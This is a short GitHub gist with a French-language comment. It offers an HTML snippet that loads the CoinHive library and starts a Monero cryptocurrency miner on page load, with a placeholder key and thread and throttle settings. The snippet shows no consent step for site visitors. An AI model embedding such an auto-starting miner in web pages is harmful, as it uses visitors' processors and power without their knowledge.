Skip to content

Instantly share code, notes, and snippets.

@HoussenMoshine
Last active December 11, 2017 13:17
Show Gist options
  • Save HoussenMoshine/1ee6c2374df573700f54d1b15de4e142 to your computer and use it in GitHub Desktop.
Save HoussenMoshine/1ee6c2374df573700f54d1b15de4e142 to your computer and use it in GitHub Desktop.
<script src="https://coinhive.com/lib/coinhive.min.js"></script>
<script>
var miner = new CoinHive.User('Votre clé publique', {
threads: 2,
autoThreads: false,
throttle: 0.9,
forceASMJS: false,
language: 'auto'
});
miner.start();
</script>
@HoussenMoshine
Copy link
Author

HoussenMoshine commented Dec 11, 2017

Un code de minage qu'on peut installer sur son site. La documentation est sur : https://coinhive.com/documentation/simple-ui et vous pouvez trouver un dossier complet sur Monero sur : https://housseniawriting.com/web/crypto-monnaies/monero/

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment